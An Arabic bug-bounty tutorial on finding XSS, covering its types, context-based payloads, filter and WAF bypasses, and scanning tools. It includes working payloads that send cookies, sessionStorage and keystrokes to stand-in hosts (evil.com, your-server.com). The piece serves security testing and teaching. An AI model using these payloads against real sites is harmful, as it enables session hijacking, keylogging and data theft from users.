اصطياد ثغرات XSS في Bug Bounty: دليل عملي شامل من الصفر للاحتراف
4 أكتوبر 2026 · بواسطة Pentevo
XSS (Cross-Site Scripting) هي من أكثر الثغرات انتشارًا في تقارير Bug Bounty. رغم أن كثيرين يعتقدون أنها "قديمة"، ما زالت تُدفع عليها ملايين الدولارات سنويًا — لأن تأثيرها الحقيقي (سرقة الجلسات، نشر Malware، هجمات Phishing متطورة) ضخم جدًا.
أنواع ثغرات XSS
1. Reflected XSS
تحدث عندما تُعاد بيانات المستخدم في الاستجابة مباشرة دون تنظيف:
URL: https://example.com/search?q=<script>alert(1)</script>
Response: <p>Results for: <script>alert(1)</script></p>
التأثير: يحتاج المهاجم لإقناع الضحية بفتح رابط خاص.
2. Stored XSS
تُخزّن في قاعدة البيانات وتُنفَّذ لكل زائر:
Comment field: <script>document.location='https://evil.com?c='+document.cookie</script>
التأثير: تؤثر على جميع المستخدمين تلقائيًا — الأخطر والأعلى مكافأة.
3. DOM-based XSS
تحدث في JavaScript من جانب العميل دون مرور عبر الخادم:
// كود خطر في الصفحة:
document.getElementById('output').innerHTML = location.hash.substring(1);
// الاستغلال:
https://example.com/page#<img src=x onerror=alert(1)>
منهجية اصطياد XSS
الخطوة 1: اكتشاف نقاط الإدخال
ابحث في كل مكان يقبل مدخلات المستخدم:
- حقول البحث
- حقول التعليقات والمنتديات
- نماذج الاتصال
- URL parameters:
?name=,?q=,?page= - HTTP Headers:
Referer,User-Agent(أحيانًا تُعرض) - قيم Cookies
- JSON API parameters
الخطوة 2: اختبار Reflection
أرسل string مميزًا واعثر عليه في الاستجابة:
Test string: pentevo12345
افتح DevTools وابحث عن قيمتك في:
- HTML source
- JavaScript variables
- Attribute values
الخطوة 3: تحليل السياق
السياق يحدد الـ Payload المناسب:
| السياق | مثال | Payload |
|---|---|---|
| داخل HTML | <p>INPUT</p> |
<script>alert(1)</script> |
| داخل attribute | <input value="INPUT"> |
"><script>alert(1)</script> |
| داخل href | <a href="INPUT"> |
javascript:alert(1) |
| داخل JS string | var x = "INPUT"; |
";alert(1)// |
| داخل template literal | var x = `INPUT` |
${alert(1)} |
الخطوة 4: اختبار Payloads
ابدأ بالبسيط:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
تقنيات Bypass للفلاتر الشائعة
تجاوز فلتر <script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
تجاوز فلتر الكلمات
<!-- إذا فيلتر "alert" -->
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<!-- Case variation -->
<SCRIPT>alert(1)</SCRIPT>
<ScRiPt>alert(1)</sCrIpT>
تجاوز HTML Encoding
<!-- HTML Entities -->
<script>alert(1)</script>
<script>alert(1)</script>
<!-- URL Encoding -->
%3Cscript%3Ealert(1)%3C/script%3E
تجاوز WAF
<!-- Spaces alternatives -->
<img/src=x/onerror=alert(1)>
<img src=x onerror=alert(1)> <!-- Tab -->
<!-- Comments inside tags -->
<scr<!---->ipt>alert(1)</scr<!---->ipt>
<!-- Double encoding -->
%253Cscript%253E
إثبات التأثير لرفع قيمة التقرير
لا تكتفِ بـ alert(1) — أثبت التأثير الحقيقي:
// سرقة الـ Cookie
<script>fetch('https://your-server.com/steal?c='+document.cookie)</script>
// سرقة الـ sessionStorage
<script>
var data = JSON.stringify(sessionStorage);
fetch('https://your-server.com/steal?d='+btoa(data));
</script>
// Keylogger
<script>
document.addEventListener('keypress', function(e){
fetch('https://your-server.com/keys?k='+e.key);
});
</script>
ملاحظة مهمة: استخدم خادمك الخاص أو خدمة مثل Burp Collaborator. لا تسرق بيانات حقيقية — المهم إثبات إمكانية الاتصال الخارجي.
أدوات XSS
# Dalfox - اكتشاف XSS تلقائي
dalfox url "https://example.com/search?q=FUZZ"
# XSStrike
python3 xsstrike.py -u "https://example.com/search?q=test"
# kxss - اكتشاف سريع
echo "https://example.com/search?q=test" | kxss
متى ترفع التقرير؟
- Reflected XSS — ارفعه إذا لم تكن في
alert()sandbox فقط - Stored XSS — ارفعه فورًا مع إثبات التأثير
- DOM XSS — وثّق السياق والكود المتأثر بوضوح
الخلاصة
XSS ليست مجرد alert(1). تعلّم تحليل السياق، جرّب Payloads متعددة، وأثبت تأثيرًا حقيقيًا كسرقة الجلسة. هذه الثغرة تبقى من أكثر الثغرات المكتشفة في Bug Bounty — من أتقنها فتح بابًا واسعًا للمكاسب.
الأسئلة الشائعة
هل XSS ما زالت ثغرة تُدفع عليها مكافآت؟
نعم، خاصةً Stored XSS وDOM XSS في سياقات حساسة مثل صفحات الدفع والإدارة. Reflected XSS تراجعت مكافآتها لكنها ما زالت مقبولة في برامج كثيرة.
ما الفرق بين Reflected وStored XSS؟
Reflected XSS تنفّذ فقط عند فتح رابط خاص مصمّم للضحية. Stored XSS تُخزّن في قاعدة البيانات وتنفّذ لكل من يزور الصفحة — وهي أخطر وأعلى مكافأةً.
هل أحتاج Burp Suite لصيد XSS؟
Burp Suite مفيد جدًا لكنه ليس إلزاميًا. يمكنك البدء بالمتصفح وأدوات DevTools. لكن النسخة المجانية من Burp Community كافية للمبتدئين.
مقالات ذات صلة
اختبار اختراق APIs: الدليل العملي لـ Bug Bounty في 2026
كيف تختبر REST APIs وGraphQL وgRPC في Bug Bounty: منهجية شاملة من Fuzzing الـ Endpoints إلى IDOR وBroken Authentication وInjection.
bug-bountyكيف تكتب Writeup Bug Bounty يجذب القراء ويعزز سمعتك
دليل كتابة Writeups احترافية لثغرات Bug Bounty: البنية الصحيحة، كيف تقدّم الثغرة بإبداع، ولماذا Writeups تُضاعف دخلك وفرص عملك.
bug-bountyشرح Bugcrowd للمبتدئين: كيف تبدأ وتختار البرنامج الصحيح
دليل شامل لمنصة Bugcrowd: التسجيل، الفرق عن HackerOne، أفضل البرامج للمبتدئين، نظام Trust وPoints، وكيف تستفيد من Crowdstream.
bug-bountyثغرات Command Injection: من الاكتشاف إلى RCE الكامل
دليل شامل لثغرات OS Command Injection: كيف تعمل، أين تظهر، Payloads عملية، تقنيات Out-of-Band Detection، وكيف توثّقها في Bug Bounty.
طبّق هذا عمليًا
أكاديمية Pentevo تحوّل هذه المفاهيم إلى دروس موجّهة وفيديوهات واختبارات — مجانًا.
ابدأ التعلّم مجانًا